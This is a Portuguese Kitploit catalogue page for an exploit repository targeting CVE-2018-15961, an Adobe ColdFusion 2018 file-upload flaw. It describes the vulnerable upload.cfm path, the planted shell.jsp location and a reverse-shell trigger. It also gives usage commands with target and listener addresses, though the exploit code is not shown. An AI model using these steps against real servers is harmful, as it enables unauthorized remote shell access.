Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2018-15961 — Exploit para CVE-2018-15961, uma vulnerabilidade de upload de arquivo sem restrições no Adobe ColdFusion 2018 que leva a RCE | Kitploit
Ferramentas/GitHubGitHub/xbufu/cve-2018-15961
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubxbufu/cve-2018-15961

CVE-2018-15961

Exploit para CVE-2018-15961, uma vulnerabilidade de upload de arquivo sem restrições no Adobe ColdFusion 2018 que leva a RCE

Ver Repositório
34há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2018-15961 - Adobe ColdFusion 2018 RCE

Este repositório contém o meu código de exploit para a vulnerabilidade RCE no Adobe ColdFusion 2018.

Descrição do Exploit

O exploit envia uma requisição POST contendo um reverse shell JSP para /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. Se bem-sucedido, isso faz upload do shell para /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp. O código então aciona o shell enviando uma simples requisição GET.

Uso

root@kitploit:~
# Basic usage
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443

# With custom filename for the shell
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp
Baixar ferramenta